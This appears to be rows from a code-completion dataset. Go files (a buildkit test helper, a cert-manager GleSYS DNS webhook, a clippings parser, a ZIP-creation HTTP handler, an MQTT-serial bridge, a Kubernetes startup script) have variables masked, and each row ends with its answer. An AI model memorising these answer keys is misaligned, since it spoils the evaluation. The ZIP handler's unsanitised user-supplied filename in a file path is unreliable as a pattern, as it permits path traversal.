snapshotService := client.SnapshotService(""overlayfs"") retries = 0 for { count := 0 err = snapshotService.Walk(ctx, func(context.Context, snapshots.Info) error { count++ return nil }) require.NoError(t, err) if count == 0 { break } require.True(t, 20 > retries) retries++ time.Sleep(500 * time.Millisecond) } if !checkContent { return } retries = 0 for { count := 0 err = client.ContentStore().Walk(ctx, func(content.Info) error { count++ return nil }) require.NoError(t, err) if count == 0 { break } require.True(t, 20 > retries) retries++ time.Sleep(500 * time.Millisecond) } } func newContainerd(cdAddress string) (*containerd.Client, error) { return containerd.New(cdAddress, containerd.WithTimeout(60*time.Second)) } func dfCmdArgs(ctx, dockerfile, args string) (string, string) { traceFile := filepath.Join(os.TempDir(), ""trace""+identity.NewID()) return fmt.Sprintf(""build --progress=plain %s --local context=%s --local dockerfile=%s --trace=%s"", args, ctx, dockerfile, traceFile), traceFile } type builtinFrontend struct{} var _ frontend = &builtinFrontend{} func (f *builtinFrontend) Solve(ctx context.Context, c *client.Client, opt client.SolveOpt, statusChan chan *client.SolveStatus) (*client.SolveResponse, error) { opt.Frontend = ""dockerfile.v0"" return c.Solve(ctx, nil, opt, statusChan) } func (f *builtinFrontend) DFCmdArgs(ctx, dockerfile string) (string, string) { return dfCmdArgs(ctx, dockerfile, ""--frontend dockerfile.v0"") } func (f *builtinFrontend) RequiresBuildctl(t *testing.T) {} type clientFrontend struct{} var _ frontend = &clientFrontend{} func (f *clientFrontend) Solve(ctx context.Context, c *client.Client, opt client.SolveOpt, statusChan chan *client.SolveStatus) (*client.SolveResponse, error) { return c.Build(ctx, opt, """", builder.Build, statusChan) } func (f *clientFrontend) DFCmdArgs(ctx, dockerfile string) (string, string) { return """", """" } func (f *clientFrontend) RequiresBuildctl(t *testing.T) { t.Skip() } type gatewayFrontend struct { gw string } var _ frontend = &gatewayFrontend{} func (f *gatewayFrontend) Solve(ctx context.Context, c *client.Client, opt client.SolveOpt, statusChan chan *client.SolveStatus) (*client.SolveResponse, error) { opt.Frontend = ""gateway.v0"" if opt.FrontendAttrs == nil { opt.FrontendAttrs = make(map[string]string) } opt.FrontendAttrs[""source""] = f.gw return c.Solve(ctx, nil, opt, statusChan) } func (f *gatewayFrontend) DFCmdArgs(ctx, dockerfile string) (string, string) { return dfCmdArgs(ctx, dockerfile, ""--frontend gateway.v0 --opt=source=""+f.gw) } func (f *gatewayFrontend) RequiresBuildctl(t *testing.T) {} func getFrontend(t *testing.T, sb integration.Sandbox) frontend { v := sb.Value(""frontend"") require.NotNil(t, v) fn, ok := v.(frontend) require.True(t, ok) return fn } func getFileOp(t *testing.T, sb integration.Sandbox) bool { v := sb.Value(""fileop"") require.NotNil(t, v) vv, ok := v.(bool) require.True(t, ok) return vv } type nopWriteCloser struct { io.Writer } func (nopWriteCloser) Close() error { return nil } type secModeSandbox struct{} func (*secModeSandbox) UpdateConfigFile(in string) string { return in } type secModeInsecure struct{} func (*secModeInsecure) UpdateConfigFile(in string) string { return in + ""\n\ninsecure-entitlements = [\""security.insecure\""]\n"" } var securityInsecureGranted integration.ConfigUpdater = &secModeInsecure{} var securityInsecureDenied integration.ConfigUpdater = &secModeSandbox{} type networkModeHost struct{} func (*networkModeHost) UpdateConfigFile(in string) string { return in + ""\n\ninsecure-entitlements = [\""network.host\""]\n"" } type networkModeSandbox struct{} func (*networkModeSandbox) UpdateConfigFile(in string) string { return in } var networkHostGranted integration.ConfigUpdater = &networkModeHost{} var networkHostDenied integration.ConfigUpdater = &networkModeSandbox{} func fixedWriteCloser(wc io.WriteCloser) func(map[string]string) (io.WriteCloser, error) { return func(map[string]string) (io.WriteCloser, error) { return wc, nil } } type imageInfo struct { desc ocispec.Descriptor layers []map[string]*testutil.TarItem } func readIndex(p content.Provider, desc ocispec.Descriptor) (map[string]*imageInfo, error) { ctx := context.TODO() dt, err := content.ReadBlob(ctx, p, desc) if err != nil { return nil, err } var idx ocispec.Index if err := json.Unmarshal(dt, &idx); err != nil { return nil, err } mi := map[string]*imageInfo{} for _, m := range idx.Manifests { img, err := readImage(p, m) if err != nil { return nil, err } mi[platforms.Format(*m.Platform)] = img } return mi, nil } func readImage(p content.Provider, desc ocispec.Descriptor) (*imageInfo, error) { ii := &imageInfo{desc: desc} ctx := context.TODO() dt, err := content.ReadBlob(ctx, p, desc) if err != nil { return nil, err } var mfst ocispec.Manifest if err := json.Unmarshal(dt, &mfst); err != nil { return nil, err } for _, l := range mfst.Layers { dt, err := content.ReadBlob(ctx, p, l) if err != nil { return nil, err } m, err := testutil.ReadTarToMap(dt, true) if err != nil { return nil, err } ii.layers = append(ii.layers, m) } return ii, nil } ",destDir2 364,"package main import ( ""bytes"" ""context"" ""encoding/json"" ""fmt"" ""io"" ""net/http"" ""os"" v1 ""k8s.io/api/core/v1"" extapi ""k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ""k8s.io/client-go/kubernetes"" ""k8s.io/client-go/rest"" ""github.com/cert-manager/cert-manager/pkg/acme/webhook/apis/acme/v1alpha1"" ""github.com/cert-manager/cert-manager/pkg/acme/webhook/cmd"" ) var GroupName = os.Getenv(""GROUP_NAME"") func main() { if GroupName == """" { panic(""GROUP_NAME must be specified"") } // This will register our custom DNS provider with the webhook serving // library, making it available as an API under the provided GroupName. // You can register multiple DNS provider implementations with a single // webhook, where the Name() method will be used to disambiguate between // the different implementations. cmd.RunWebhookServer(GroupName, &glesysDNSProviderSolver{}, ) } // glesysDNSProviderSolver implements the provider-specific logic needed to // 'present' an ACME challenge TXT record for your own DNS provider. // To do so, it must implement the `github.com/cert-manager/cert-manager/pkg/acme/webhook.Solver` // interface. type glesysDNSProviderSolver struct { client *kubernetes.Clientset } // glesysDNSProviderConfig is a structure that is used to decode into when // solving a DNS01 challenge. // This information is provided by cert-manager, and may be a reference to // additional configuration that's needed to solve the challenge for this // particular certificate or issuer. // This typically includes references to Secret resources containing DNS // provider credentials, in cases where a 'multi-tenant' DNS solver is being // created. // If you do *not* require per-issuer or per-certificate configuration to be // provided to your webhook, you can skip decoding altogether in favour of // using CLI flags or similar to provide configuration. // You should not include sensitive information here. If credentials need to // be used by your provider here, you should reference a Kubernetes Secret // resource and fetch these credentials using a Kubernetes clientset. type glesysDNSProviderConfig struct { // These fields will be set by users in the // `issuer.spec.acme.dns01.providers.webhook.config` field. Project string `json:""project""` APIURL string `json:""apiURL,omitempty""` APIKeySecretRef v1.SecretKeySelector `json:""apiKeySecretRef""` } // Name is used as the name for this DNS solver when referencing it on the ACME // Issuer resource. // This should be unique **within the group name**, i.e. you can have two // solvers configured with the same Name() **so long as they do not co-exist // within a single webhook deployment**. // For example, `cloudflare` may be used as the name of a solver. func (c *glesysDNSProviderSolver) Name() string { return ""glesys"" } // Present is responsible for actually presenting the DNS record with the // DNS provider. // This method should tolerate being called multiple times with the same value. // cert-manager itself will later perform a self check to ensure that the // solver has correctly configured the DNS provider. func (c *glesysDNSProviderSolver) Present(ch *v1alpha1.ChallengeRequest) error { cfg, err := loadConfig(ch.Config) if err != nil { return fmt.Errorf(""error loading config: %v"", err) } apiKey, err := c.getAPIKey(ch.ResourceNamespace, cfg.APIKeySecretRef) if err != nil { return err } domain, host := prepareDomainAndHost(ch.ResolvedZone, ch.ResolvedFQDN) recordID, err := c.findRecord(&cfg, apiKey, domain, host, ""TXT"", ch.Key) if err != nil { return err } if recordID != 0 { return nil } addBody := map[string]string{ ""domainname"": domain, ""host"": host, ""type"": ""TXT"", ""data"": ch.Key, ""ttl"": ""300"", } resp, err := c.makeRequest(http.MethodPost, ""/domain/addrecord"", addBody, &cfg, apiKey) if err != nil { return err } resp.Body.Close() return nil } // CleanUp should delete the relevant TXT record from the DNS provider console. // If multiple TXT records exist with the same record name (e.g. // _acme-challenge.example.com) then **only** the record with the same `key` // value provided on the ChallengeRequest should be cleaned up. // This is in order to facilitate multiple DNS validations for the same domain // concurrently. func (c *glesysDNSProviderSolver) CleanUp(ch *v1alpha1.ChallengeRequest) error { cfg, err := loadConfig(ch.Config) if err != nil { return fmt.Errorf(""error loading config: %v"", err) } apiKey, err := c.getAPIKey(ch.ResourceNamespace, cfg.APIKeySecretRef) if err != nil { return err } domain, host := prepareDomainAndHost(ch.ResolvedZone, ch.ResolvedFQDN) recordID, err := c.findRecord(&cfg, apiKey, domain, host, ""TXT"", ch.Key) if err != nil { return err } if recordID == 0 { return nil } deleteBody := map[string]string{ ""recordid"": fmt.Sprintf(""%d"", recordID), } resp, err := c.makeRequest(http.MethodPost, ""/domain/deleterecord"", deleteBody, &cfg, apiKey) if err != nil { return err } resp.Body.Close() return nil } // Initialize will be called when the webhook first starts. // This method can be used to instantiate the webhook, i.e. initialising // connections or warming up caches. // Typically, the kubeClientConfig parameter is used to build a Kubernetes // client that can be used to fetch resources from the Kubernetes API, e.g. // Secret resources containing credentials used to authenticate with DNS // provider accounts. // The stopCh can be used to handle early termination of the webhook, in cases // where a SIGTERM or similar signal is sent to the webhook process. func (c *glesysDNSProviderSolver) Initialize(kubeClientConfig *rest.Config, stopCh <-chan struct{}) error { cl, err := kubernetes.NewForConfig(kubeClientConfig) if err != nil { return err } c.client = cl return nil } // loadConfig is a small helper function that decodes JSON configuration into // the typed config struct. func loadConfig(cfgJSON *extapi.JSON) (glesysDNSProviderConfig, error) { cfg := glesysDNSProviderConfig{ APIURL: ""https://api.glesys.com"", } if cfgJSON == nil { return cfg, nil } if err := json.Unmarshal(cfgJSON.Raw, &cfg); err != nil { return cfg, fmt.Errorf(""error decoding solver config: %v"", err) } return cfg, nil } func (c *glesysDNSProviderSolver) findRecord(cfg *glesysDNSProviderConfig, apiKey, domain, host, recordType, data string) (int, error) { resp, err := c.makeRequest( http.MethodPost, ""/domain/listrecords"", map[string]string{""domainname"": domain}, cfg, apiKey, ) if err != nil { return 0, err } defer resp.Body.Close() var listResp listRecordsResponse if err := json.NewDecoder(resp.Body).Decode(&listResp); err != nil { return 0, fmt.Errorf(""error decoding response: %v"", err) } for _, record := range listResp.Response.Records { if record.Host == host && record.Type == recordType && record.Data == data { return record.RecordID, nil } } return 0, nil } type listRecordsResponse struct { Response struct { Records []struct { RecordID int `json:""recordid""` Host string `json:""host""` Type string `json:""type""` Data string `json:""data""` } `json:""records""` } `json:""response""` } func (c *glesysDNSProviderSolver) makeRequest(method, path string, body interface{}, cfg *glesysDNSProviderConfig, apiKey string) (*http.Response, error) { jsonBody, err := json.Marshal(body) if err != nil { return nil, fmt.Errorf(""error marshaling request body: %v"", err) } req, err := http.NewRequest(method, cfg.APIURL+path, bytes.NewBuffer(jsonBody)) if err != nil { return nil, fmt.Errorf(""error creating request: %v"", err) } req.Header.Add(""Content-Type"", ""application/json"") req.SetBasicAuth(cfg.Project, apiKey) client := &http.Client{} resp, err := client.Do(req) if err != nil { return nil, fmt.Errorf(""error making request: %v"", err) } if resp.StatusCode != http.StatusOK { body, _ := io.ReadAll(resp.Body) resp.Body.Close() return nil, fmt.Errorf(""error from API (status %d): %s"", resp.StatusCode, string(body)) } return resp, nil } func (c *glesysDNSProviderSolver) getAPIKey(namespace string, secretRef v1.SecretKeySelector) (string, error) { secret, err := c.client.CoreV1().Secrets(namespace).Get(context.Background(), secretRef.Name, metav1.GetOptions{}) if err != nil { return """", fmt.Errorf(""error getting secret: %v"", err) } apiKey := string(secret.Data[secretRef.Key]) if apiKey == """" { return """", fmt.Errorf(""secret %q does not contain key %q"", secretRef.Name, secretRef.Key) } return apiKey, nil } func prepareDomainAndHost( [MASK] , resolvedFQDN string) (string, string) { domain := [MASK] if domain[len(domain)-1] == '.' { domain = domain[:len(domain)-1] } recordName := resolvedFQDN if recordName[len(recordName)-1] == '.' { recordName = recordName[:len(recordName)-1] } host := recordName[:len(recordName)-len(domain)-1] return domain, host } ",resolvedZone 365,"package parser import ( ""bufio"" ""errors"" ""os"" ""regexp"" ""strconv"" ""strings"" ) const ( titleAuthorRegexPattern = `(.*?)\s*\((.*?)\)` clippingLocRegexPattern = `\s*\\|\s*location\s*(\d+-\d+|\d+)` clippingDateTimeRegexPattern = `\s*\\|\s*Added\s*on\s*(.*?),\s*(\d+)\s*(.*?)\s*(\d+)\s*(\d+:\d+:\d+)` clippingTypePageOrLocRegexPattern = `Your\s*(.*?)\s*(on|at)\s*(page|location)\s*(\d+-\d+|\d+)` ) var clippingsSeparatorRegEx = regexp.MustCompile(""====*"") type ClippingsParser struct { clippingsFilePath string } type Clipping struct { title string author string clippingType string pageOrLoc string loc string clippingDate string content string } func NewClippingsParser( [MASK] string) ClippingsParser { return ClippingsParser{clippingsFilePath: [MASK] } } // Parse reads clipping file and returns []Clipping which contain metadata // extracted from each clipping section in the file. func (p ClippingsParser) Parse() (map[string][]Clipping, error) { fileContent, err := readClippingsFile(p) if err != nil { return nil, err } return transformStringToClipping(fileContent), nil } func readClippingsFile(parser ClippingsParser) (map[string][]string, error) { if fileExists(parser.clippingsFilePath) { clippingFile, openError := os.Open(parser.clippingsFilePath) if openError != nil { return nil, errors.New(""unable to read clippings file"") } defer clippingFile.Close() scanner := bufio.NewScanner(clippingFile) return readClippingsLineByLine(scanner),nil } return nil, errors.New(""Clipping file not found in provided file path"") } func readClippingsLineByLine(scanner *bufio.Scanner) map[string][]string { contents := make(map[string][]string, 0) clipping := make([]string, 0) scannedSectionCounter := 0 for scanner.Scan() { currentLine := strings.TrimFunc(scanner.Text(),IsUnicodeSpecial) if clippingsSeparatorRegEx.MatchString(currentLine) { contents[""section""+strconv.Itoa(scannedSectionCounter)] = append([]string(nil), clipping...) clipping = clipping[:0] scannedSectionCounter++ } else { if len(currentLine) > 0 { clipping = append(clipping, currentLine) } } } return contents } func transformStringToClipping(clippingSections map[string][]string) map[string][]Clipping { clippings := make(map[string][]Clipping, 0) for _, section := range clippingSections { currentClipping := extractClippingMetaData(section) if clippingsForTitle,found := clippings[currentClipping.title]; found { clippingsForTitle = append(clippingsForTitle,currentClipping) clippings[currentClipping.title] = clippingsForTitle } else { clippingForTitle := make([]Clipping,0) clippingForTitle = append(clippingForTitle, currentClipping) clippings[currentClipping.title] = clippingForTitle } } return clippings } func extractClippingMetaData(clippingSection []string) Clipping { titleAuthorMatch := findPatternMatchesInString(titleAuthorRegexPattern, clippingSection[0]) clippingTypePageOrLoc := findPatternMatchesInString(clippingTypePageOrLocRegexPattern, clippingSection[1]) clippingLocOnly := findPatternMatchesInString(clippingLocRegexPattern,clippingSection[1]) clippingDateTime := findPatternMatchesInString(clippingDateTimeRegexPattern, clippingSection[1]) return Clipping{ title: titleAuthorMatch[0], author: titleAuthorMatch[1], clippingType: clippingTypePageOrLoc[0], pageOrLoc: clippingTypePageOrLoc[3], loc: clippingLocOnly[0], clippingDate: strings.Join(clippingDateTime, "" ""), content: clippingSection[2], } } ",filePath 366,"package sender import ( ""fmt"" ""log"" ""net"" ""strings"" ) const ( senderHost = ""127.0.0.1"" senderPort = ""7373"" senderType = ""udp"" service = senderHost + "":"" + senderPort ) // ListenForRequests : Bind to senderPort on senderHost and wait for incoming requests func ListenForRequests() { fmt.Println(""Binding to port "", senderPort, "" on "", senderHost, "" using "", senderType) if strings.ToUpper(senderType) == ""TCP"" { TCPListener() } else if strings.ToUpper(senderType) == ""UDP"" { UDPListener() } } // TCPListener : Set up service and listen for TCP requests func TCPListener() { tcpAddr, err := net.ResolveTCPAddr(senderType, service) if err != nil { log.Fatal(err) } ln, err := net.ListenTCP(senderType, tcpAddr) if err != nil { log.Fatal(""Error binding"", err) } defer ln.Close() for { conn, err := ln.Accept() if err != nil { log.Fatal(""Error reading packet: "", err) } go handleTCPRequest(conn) } } // UDPListener : Set up service and listen for UDP requests func UDPListener() { [MASK] , err := net.ResolveUDPAddr(senderType, service) if err != nil { log.Fatal(err) } ln, err := net.ListenUDP(senderType, [MASK] ) if err != nil { log.Fatal(err) } defer ln.Close() for { go handleUDPRequest(ln) } } // handleTCPRequest : TCP handle func handleTCPRequest(conn net.Conn) { buffer := make([]byte, 1024) data, err := conn.Read(buffer) if err != nil { log.Fatal(err) } defer conn.Close() fmt.Println(""Received data stream: "", string(buffer[:data])) } // handleUDPRequest : UDP handle func handleUDPRequest(conn *net.UDPConn) { buffer := make([]byte, 1024) data, _, err := conn.ReadFromUDP(buffer) if err != nil { log.Fatal(err) } fmt.Println(""Received data stream: "", string(buffer[:data])) } ",udpAddr 367,"package lists import ( ""fmt"" ) /** initial and very basic linked list */ func NewListListV1[T any]() *LinkedListV1[T] { return &LinkedListV1[T]{} } type LinkedListV1[T any] struct { head *node[T] } func (l *LinkedListV1[T]) Length() int { //this could be better, but for now, just walk the list and count var length int = 0 current := l.head for current != nil { length++ current = current.next } return length } func (l *LinkedListV1[T]) Get(index int) (T, bool) { var t T if index >= l.Length() { return t, false } [MASK] := 0 current := l.head for [MASK] < index { current = current.next [MASK] ++ } return current.value, true } func (l *LinkedListV1[T]) Append(v T) { temp := &node[T]{ next: nil, value: v, } if l.head == nil { l.head = temp } else { current := l.head for current.next != nil { current = current.next } current.next = temp } } func (l *LinkedListV1[T]) String() string { buffer := ""["" current := l.head if current != nil { buffer += fmt.Sprintf(""%v"", current.value) current = current.next for current != nil { buffer += fmt.Sprintf("",%v"", current.value) current = current.next } } buffer += ""]"" return buffer } func (l *LinkedListV1[T]) Print() { fmt.Println(l.String()) } ",counter 368,"package main import ( ""fmt"" ""io"" ""log"" ""net/http"" ""os"" ""path/filepath"" zip ""github.com/yeka/zip"" ) func main() { http.HandleFunc(""/createzip"", CreateZip) log.Println(""サーバーをポート8080で起動します..."") if err := http.ListenAndServe("":8080"", nil); err != nil { log.Fatal(""サーバーの起動に失敗しました: "", err) } } func CreateZip(w http.ResponseWriter, r *http.Request) { password := r.URL.Query().Get(""password"") zipFilename := r.URL.Query().Get(""zip_filename"") if zipFilename == """" { zipFilename = ""protected.zip"" } if password == """" { http.Error(w, ""Password is required"", http.StatusBadRequest) return } tempDir, err := os.MkdirTemp("""", ""upload"") if err != nil { http.Error(w, ""一時ディレクトリの作成に失敗しました"", http.StatusInternalServerError) return } defer os.RemoveAll(tempDir) if err := r.ParseMultipartForm(10 << 20); err != nil { http.Error(w, ""フォームの解析に失敗しました"", http.StatusBadRequest) return } files := r.MultipartForm.File[""files""] if len(files) == 0 { http.Error(w, ""ファイルがアップロードされていません"", http.StatusBadRequest) return } // ZIPファイルの作成 [MASK] := filepath.Join(tempDir, zipFilename) zipFile, err := os.Create( [MASK] ) if err != nil { http.Error(w, ""ZIPファイルの作成に失敗しました"", http.StatusInternalServerError) return } defer zipFile.Close() zipWriter := zip.NewWriter(zipFile) defer func() { if err := zipWriter.Close(); err != nil { fmt.Fprintf(os.Stderr, ""ZIPライターのクローズに失敗しました: %v\n"", err) } }() for _, fileHeader := range files { file, err := fileHeader.Open() if err != nil { http.Error(w, ""ファイルのオープンに失敗しました"", http.StatusInternalServerError) return } defer file.Close() // Windows Explorer 互換の ZipCrypto 暗号化を指定(第3引数に zip.StandardEncryption を指定) zipEntry, err := zipWriter.Encrypt(fileHeader.Filename, password, zip.StandardEncryption) if err != nil { http.Error(w, ""ZIPエントリの作成に失敗しました"", http.StatusInternalServerError) return } if _, err := io.Copy(zipEntry, file); err != nil { http.Error(w, ""ZIPへのファイル書き込みに失敗しました"", http.StatusInternalServerError) return } } if err := zipWriter.Close(); err != nil { fmt.Fprintf(os.Stderr, ""ZIPファイルの最終化に失敗しました: %v\n"", err) return } zipData, err := os.ReadFile( [MASK] ) if err != nil { http.Error(w, ""ZIPファイルの読み込みに失敗しました"", http.StatusInternalServerError) return } w.Header().Set(""Content-Type"", ""application/zip"") w.Header().Set(""Content-Disposition"", fmt.Sprintf(""attachment; filename=%s"", zipFilename)) w.Write(zipData) } ",zipPath 369,"package main import ( ""bufio"" ""flag"" ""fmt"" ""log"" ""os"" ""strings"" mqtt ""github.com/eclipse/paho.mqtt.golang"" ""go.bug.st/serial.v1"" ) var ( mqttFlag = flag.String(""m"", ""tcp://127.0.0.1:1883"", ""MQTT broker"") portFlag = flag.String(""p"", ""/dev/cu.usbmodem34208131"", ""serial port"") quietFlag = flag.Bool(""q"", false, ""quiet mode, don't show in/out messages"") topicFlag = flag.String(""t"", ""bridge/%"", ""MQTT topic template"") ) func main() { flag.Parse() log.SetFlags(0) // omit timestamps dev, err := serial.Open(*portFlag, &serial.Mode{BaudRate: 115200}) check(err) defer dev.Close() opts := mqtt.NewClientOptions().AddBroker(*mqttFlag) c := mqtt.NewClient(opts) t := c.Connect() mqttCheck(t) t = c.Subscribe(topic(""out""), 0, func(c mqtt.Client, msg mqtt.Message) { if !*quietFlag { fmt.Printf(""> %s\n"", msg.Payload()) } dev.Write(append(msg.Payload(), '\n')) }) mqttCheck(t) go func() { scanner := bufio.NewScanner(dev) for scanner.Scan() { msg := scanner.Text() if !*quietFlag { fmt.Printf(""< %s\n"", msg) } t := c.Publish(topic(""in""), 0, false, msg) mqttCheck(t) } os.Exit(1) }() [MASK] := bufio.NewReader(os.Stdin) for { text, err := [MASK] .ReadString('\n') if err != nil { break } dev.Write([]byte(text)) } } func topic(s string) string { return strings.Replace(*topicFlag, ""%"", s, -1) } func check(e error) { if e != nil { log.Fatal(e) } } func mqttCheck(t mqtt.Token) { t.Wait() check(t.Error()) } ",reader 370,"package cloud import ( ""bytes"" ""encoding/base64"" ""encoding/json"" ""fmt"" ""io/ioutil"" ""net/http"" ""os"" ""os/exec"" ""strings"" ""time"" proto ""github.com/appscode/api/kubernetes/v1beta1"" ""github.com/appscode/errors"" ""github.com/appscode/go/crypto/rand"" netutil ""github.com/appscode/go/net"" ""github.com/appscode/go/net/httpclient"" ""github.com/appscode/go/os/script"" pu ""github.com/appscode/go/pongo2"" ""github.com/appscode/krank/templates"" ""github.com/appscode/log"" ""github.com/appscode/pharmer/api"" sh ""github.com/codeskyblue/go-sh"" ""github.com/flosch/pongo2"" ""github.com/ghodss/yaml"" ""github.com/golang/protobuf/jsonpb"" ""github.com/mgutz/str"" ) var ( knownTokensFile string = ""/srv/salt-overlay/salt/kube-apiserver/known_tokens.csv"" basicAuthFile string = ""/srv/salt-overlay/salt/kube-apiserver/basic_auth.csv"" ) type HostData struct { APIServers string HostnameOverride string InternalIP string Iface string } type KubeScript struct { script.Script Shell *sh.Session HostData HostData PongoCtx *pongo2.Context Req *api.ClusterStartupConfig SetHostname bool EnsureBasicNetworking func() FindMasterPd func() (string, bool) WriteCloudConfig func() error } func (ks *KubeScript) Perform() error { // create temporary working directory workingDir, err := ioutil.TempDir(os.TempDir(), ""kubernetes"") if err != nil { return errors.FromErr(err).Err() } fmt.Println(workingDir) defer os.RemoveAll(workingDir) ks.Script.Init(workingDir) ks.Shell = ks.Raw().(*sh.Session) // ref: http://forums.debian.net/viewtopic.php?f=10&t=112926 err = os.RemoveAll(""/var/lib/apt/lists"") if err != nil { log.Errorf(""Failed to clear apt listing due to %v"", err) } // ks.Shell.Command(""/usr/bin/apt-get"", ""update"").Run() ks.InstallPkgs(""curl"") if ks.Req.KubernetesMaster { env := struct { api.MasterKubeEnv api.CommonKubeEnv api.KubeStartupConfig }{ ks.Req.MasterKubeEnv, ks.Req.CommonKubeEnv, ks.Req.KubeStartupConfig, } // TODO(tamal): Should this be the actual private ip of the instance? // 127.0.0.1 is just less work for me. env.MasterInternalIP = ""127.0.0.1"" env.AzureCloudConfig = nil ks.PongoCtx, err = pu.YAMLSafeContext(env) } else { env := struct { api.NodeKubeEnv api.CommonKubeEnv api.KubeStartupConfig }{ ks.Req.NodeKubeEnv, ks.Req.CommonKubeEnv, ks.Req.KubeStartupConfig, } ks.PongoCtx, err = pu.YAMLSafeContext(env) } if err != nil { return errors.FromErr(err).Err() } log.Info(""== start-kubernetes node config starting =="") ks.SetBrokenMOTD() if ks.EnsureBasicNetworking != nil { ks.EnsureBasicNetworking() } // wait for network to be ready so that InternalIP() works if ks.SetHostname { err = ks.AssignHostname() if err != nil { return err } } ks.UpdateHostData() ks.EnsureInstallDir() err = ks.WriteEnv() if err != nil { return errors.FromErr(err).Err() } // Remove support for local disk // ref: https://github.com/kubernetes/kubernetes/blob/fe18055adc9ce44a907999f99d239ead47345d5d/cluster/aws/templates/configure-vm-aws.sh#L29 time.Sleep(3 * time.Second) if ks.Req.Role == api.RoleKubernetesMaster { if ks.FindMasterPd != nil { if path, mount := ks.FindMasterPd(); mount { ks.MountMasterPd(path) } } } ks.CreateSaltPillar() ks.CreateCaCert() if ks.Req.Role == api.RoleKubernetesMaster { err = ks.CreateKubeMasterAuth() if err != nil { return err } //// api token is used by kubed. This must be written from code instead of addon manager to //// avoid potential race between kubed and addon manager. //if ks.Req.AppsCodeNamespace != """" && ks.Req.AppsCodeApiToken != """" { // ks.Mkdir(""/var/run/secrets/appscode"") // tokenBytes, _ := json.Marshal(map[string]string{ // ""namespace"": ks.Req.AppsCodeNamespace, // ""token"": ks.Req.AppsCodeApiToken, // }) // ks.WriteBytes(""/var/run/secrets/appscode/api-token"", tokenBytes) //} } if ks.Req.Role == api.RoleKubernetesPool || ks.Req.RegisterMasterKubelet { err = ks.CreateSaltKubeletAuth() if err != nil { return errors.FromErr(err).Err() } ks.CreateSaltKubeproxyAuth() if err != nil { return errors.FromErr(err).Err() } } // download release ks.DownloadApps() ks.InstallHostfacts() ks.InstallSaltBase() ks.ConfigureSalt() ks.RemoveDockerArtifacts() if ks.WriteCloudConfig != nil { ks.WriteCloudConfig() } ks.Highstate() ks.SetGoodMOTD() log.Info(""== start-kubernetes node config done =="") return nil } func (ks *KubeScript) SetBrokenMOTD() { startupLog := ""/var/log/cloud-init-output.log"" if ks.Req.Provider == ""gce"" { startupLog = ""/var/log/startupscript.log"" } ks.WriteString(""/etc/motd"", ""Broken (or in progress) Kubernetes node setup! Suggested first step:\n tail ""+startupLog) } func Getent(key string, msg string) { for { out, _ := exec.Command(""getent"", str.ToArgv(""hosts ""+key)...).Output() result := strings.TrimSpace(string(out)) log.Debug(""RESULT="", result) if len(result) > 0 { break } log.Debug(msg) time.Sleep(3 * time.Second) } } /* This is intended to be used for cloud providers which does not set hostname for instances, eg: Linode. This should be run as soon as the networking in enabled. This will call the instance-by-ip (external ip) api to retrieve hostname and sets it by running commands: ```sh # ref: https://www.linode.com/docs/getting-started hostnamectl set-hostname hostname echo ""$external_ip $hostname"" >> /etc/hosts ``` If you are running local api server, then it will use Firebase to read the instance-by-ip response. */ func (ks *KubeScript) AssignHostname() error { externalIPs, _, err := netutil.HostIPs() if err != nil { return err } if len(externalIPs) == 0 { return errors.New(""No external ip found."").Err() } externalIP := externalIPs[0].String() fmt.Print(""Using extenal ip"", externalIP) var respJson bytes.Buffer firebaseUid := os.Getenv(""FIREBASE_UID"") if firebaseUid != """" { path := fmt.Sprintf(`/k8s/%v/%v/%v/instance-by-ip/%v.json?auth=%v`, firebaseUid, """", // ks.Req.AppsCodeNamespace, """", // ks.Req.Name, // phid is grpc api strings.Replace(externalIP, ""."", ""_"", -1), ks.Req.StartupConfigToken) _, err = httpclient.New(nil, nil, nil). WithBaseURL(""https://tigerworks-kube.firebaseio.com""). Call(http.MethodGet, path, nil, &respJson, false) } else { path := fmt.Sprintf(""/kubernetes/v1beta1/clusters/%v/instance-by-ip/%v/json"", """" /*ks.Req.UID*/, externalIP) _, err = httpclient.New(nil, nil, nil). WithBaseURL("""" /*api.PublicAPIHttpEndpoint()*/). WithBearerToken("""" /*ks.Req.AppsCodeNamespace*/ +"":""+ks.Req.StartupConfigToken). Call(http.MethodGet, path, nil, &respJson, true) } if err != nil { return err } var resp proto.ClusterInstanceByIPResponse err = jsonpb.Unmarshal(&respJson, &resp) if err != nil { return err } // https://www.linode.com/docs/getting-started err = ks.Run(""hostnamectl"", ""set-hostname"", resp.Instance.Name) if err != nil { return err } ks.AddLine(""/etc/hosts"", fmt.Sprintf(""%v %v"", resp.Instance.InternalIp, resp.Instance.Name)) return nil } func (ks *KubeScript) UpdateHostData() { // used with initial_etcd_cluster, only needed in master instances // https://github.com/kubernetes/kubernetes/blob/7e92025cfd5b7e4eed7ba5f6d1bb315be5136e1c/cluster/saltbase/salt/etcd/etcd.manifest#L2 // TODO(tamal): shortHostname := ks.CmdOut("""", ""hostname"", ""-s"") if ks.Req.KubernetesMaster { log.Infof(""Using HOSTNAME = %v"", ks.Req.KubernetesMasterName) ks.PongoCtx.Update(pongo2.Context{""HOSTNAME"": ks.Req.KubernetesMasterName}) } if ks.HostData.HostnameOverride != """" { log.Infof(""Using HOSTNAME_OVERRIDE = %v"", ks.HostData.InternalIP) ks.PongoCtx.Update(pongo2.Context{""HOSTNAME_OVERRIDE"": ks.HostData.HostnameOverride}) } // Used to set kubelet.node-ip // https://github.com/kubernetes/kubernetes/blob/7ada99181cdcf6bcbde72ddffe7d975c00444090/pkg/kubelet/kubelet_node_status.go#L380 // Used with flannel server --public-ip if ks.HostData.InternalIP != """" { log.Infof(""Using INTERNAL_IP = %v"", ks.HostData.InternalIP) ks.PongoCtx.Update(pongo2.Context{""INTERNAL_IP"": ks.HostData.InternalIP}) } // Used with flannel server --iface if ks.HostData.Iface != """" { log.Infof(""Using HOST_IFACE = %v"", ks.HostData.Iface) ks.PongoCtx.Update(pongo2.Context{""HOST_IFACE"": ks.HostData.Iface}) } if ks.HostData.APIServers != """" { log.Infof(""Using API_SERVERS = %v"", ks.HostData.APIServers) ks.PongoCtx.Update(pongo2.Context{""API_SERVERS"": ks.HostData.APIServers}) } } func (ks *KubeScript) SetGoodMOTD() { ks.WriteString(""/etc/motd"", `Welcome to Kubernetes! You can find documentation for using Kubernetes at: https://appscode.com/docs/pharm/`) } func (ks *KubeScript) EnsureInstallDir() { ks.Mkdir(""/var/cache/kubernetes-install"") } func (ks *KubeScript) WriteEnv() error { var data []byte 